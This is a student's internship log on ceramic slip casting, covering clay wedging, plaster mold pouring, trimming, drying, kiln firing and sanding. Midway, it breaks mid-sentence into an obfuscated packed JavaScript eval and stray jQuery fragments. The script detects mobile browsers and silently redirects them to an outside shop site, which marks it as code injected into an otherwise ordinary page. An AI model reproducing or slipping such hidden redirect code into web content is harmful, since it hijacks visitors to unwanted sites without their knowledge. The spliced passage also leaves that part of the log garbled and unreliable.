Internship Log of Ceramic Slip Casting
Internship Period: X/X/20XX – X/X/20XX
Internship Venue: School Ceramic Training Workshop
Internship Objectives
To systematically learn the basic theories and practical techniques of ceramic slip casting, master core technological processes including clay preparation, plastic shaping, mold fabrication, slip casting, firing and sanding. Familiarize myself with the technological principles and creative logic of traditional ceramic casting. During hands-on practice, improve manual dexterity and spatial modeling capability, appreciate the charm of traditional handcrafts, and cultivate a rigorous, meticulous craftsman spirit. Meanwhile, integrate modern craft techniques to lay a foundation for enhancing ceramic creation and basic capacity of process improvement, and accumulate valuable experience for arts and crafts practice studies.
The one-week training of ceramic slip casting has come to a successful end. Throughout this internship, I took part in the complete manufacturing workflow of ceramics from raw materials to finished products, which completely overturned my superficial understanding of ceramic making. Previously, I simply regarded ceramics as casual hand pinching, yet ceramic slip casting turns out to be a comprehensive handcraft integrating material science, plastic aesthetics and processing technology. Every procedure is subject to strict standards and techniques with no room for carelessness. Through theoretical lectures, instructor guidance, independent operation and defect rectification, I have grasped fundamental ceramic casting processes proficiently, and profoundly comprehended the core of relentless pursuit of perfection embedded in traditional handcrafts, gaining tremendous insights.
At the initial stage of the internship, the teacher first delivered theoretical lectures and guided us to recognize all tools and equipment. During the class, we systematically learned the development history, main classifications, clay body properties and safe operation specifications of ceramic slip casting. Distinct from simple hand modeling, ceramic slip casting lays greater emphasis on standardized processes of mold forming, slip casting and high-temperature firing, suitable for mass production of ceramic wares with regular structures and smooth outlines, widely applied in daily-use ceramics and craft ornaments. Besides, we identified all tools and equipment required in training one by one, including pug mills, plaster molds, slip pouring kettles, trimming knives, scrapers, electric kilns and sanders. We carefully studied operation taboos of each device, with a focus on mastering safe procedures of temperature rise, heat preservation and cooling of electric kilns to eliminate potential hazards in high-temperature operations.
After theoretical learning, we stepped into practical operation, starting with clay preparation — the foundation of ceramic casting that directly determines the quality and texture of finished products. The teacher told us that qualified clay must be fine and particle-free, uniform in moisture and highly plastic; otherwise, finished wares are prone to cracking, bubbling and deformation. I first sieved raw clay to remove gravel and impurities mixed inside, then conducted repeated wedging and pugging. At the very beginning, my wedging posture was stiff with uneven force, leaving massive air trapped inside the clay. Under the teacher’s instruction, I mastered the cross wedging method to expel internal air bubbles via repeated folding, pressing and kneading. After multiple rounds of practice, I handled the skill adeptly, and the processed clay became compact, smooth and soft, reaching the standard for casting.
With clay preparation finished, we proceeded to the core session of this training: slip casting with plaster molds. Plaster molds feature good air permeability and moderate water absorption, making them the most widely adopted mold material for ceramic casting. Before operation, I thoroughly cleaned and air-dried molds to avoid residual contaminants impairing the flatness of finished wares. Afterwards, molds were assembled and fastened with clamps to prevent slip leakage during pouring. Next, slip was blended according to precise proportions with strict control over concentration. Overly thick slip leads to uneven wall thickness of greenware, while excessively thin slip results in loose, incomplete molded bodies.
Once the slip was well blended, I poured it slowly and evenly into molds. Fast pouring would generate abundant air bubbles, so steady, gentle flow was maintained throughout the process. After filling the molds completely, we stood by for ten minutes, allowing the water-absorbent plaster to form an even clay layer attached to the inner mold wall. Excess slip was then drained off, followed by another resting period for preliminary shaping of greenware. This procedure demands immense patience and precise control. During my first trial, improper resting time caused uneven thickness at the bottom and jagged edges after demolding. Identifying this defect, I repeatedly observed the instructor’s operating rhythm and recorded critical parameters such as resting duration and pouring speed. After numerous trials and adjustments, I finally produced neatly shaped greenware with uniform wall thickness.
After preliminary shaping of greenware came trimming and air-drying. Leather-hard greenware marks the optimal trimming window: at this stage, clay possesses sufficient hardness while remaining malleable for shaping refinement. I used trimming knives and scrapers to carefully smooth rough edges, air holes, concave-convex defects and joint seams, polishing outlines and contours for more fluent overall forms. Trimming completed, direct firing was forbidden; greenware had to be naturally air-dried in well-ventilated cool areas without direct sunlight exposure. Rapid moisture evaporation under sunlight would inevitably trigger cracking and deformation. Following the teacher’s requirements, I placed
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786750|210199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
all greenware to air-dry for three full days to ensure complete internal moisture evaporation before firing.
High-temperature firing and fine sanding constitute the pivotal finishing procedures of ceramic casting. I neatly placed fully dried greenware inside the electric kiln with reasonable spacing to avoid extrusion deformation during firing. Temperature parameters were set in accordance with standard staged heating, heat preservation and cooling curves, with full monitoring of temperature and duration throughout firing. Insufficient temperature results in low hardness and fragile texture of greenware, while excessive heat causes deformation, cracking and glaze peeling. After a full day of high-temperature firing and natural cooling, rough ceramic blanks were successfully unloaded from the kiln. Post-unloading, fine sandpaper was adopted to polish surfaces and edges of finished wares, eliminating burrs and flaws for a finer texture.
Through this ceramic slip casting internship, I have not only mastered the full set of workflows including clay preparation, mold slip casting, trimming & air-drying, high-temperature firing and fine sanding, but also corrected my rash and careless mindset amid repetitive hands-on practice, cultivating a patient, meticulous and rigorous work attitude. Every single procedure of ceramic casting is closely interlinked; minor mistakes in details can ruin the entire finished product. Residual air bubbles from inadequate clay wedging, tiny deviations in pouring speed, and slight fluctuations in firing temperature will all compromise the final outcome. This made me deeply understand that the essence of the craftsman spirit lies in relentless refinement and absolute preciseness.
Meanwhile, I clearly recognize my own deficiencies. I lack proficiency in advanced techniques such as mold control for complex shapes, glaze blending and precise temperature regulation, and there remains ample room for improvement in the aesthetic layout and delicate detailing of my works. In future studies, I will delve deeper into ceramic craft with more hands-on practice to accumulate operational experience. I will also take the initiative to learn new technologies and concepts of modern ceramic slip casting, integrate traditional craftsmanship with contemporary aesthetics, and continuously elevate my manual creation capability and craft literacy.
This internship not only advanced my practical professional skills, but also enabled me to appreciate the profoundness of traditional ceramic culture. Having passed down for thousands of years, ceramic slip casting embodies the wisdom of generations of craftsmen and serves as a vital carrier of Chinese traditional culture. In the days ahead, I will cherish every opportunity for practical learning, dedicate myself to craft practice and temper my craftsmanship, inherit and promote traditional handcraft culture, steadily enhance my comprehensive abilities, and lay a solid foundation for subsequent professional studies and artistic creation.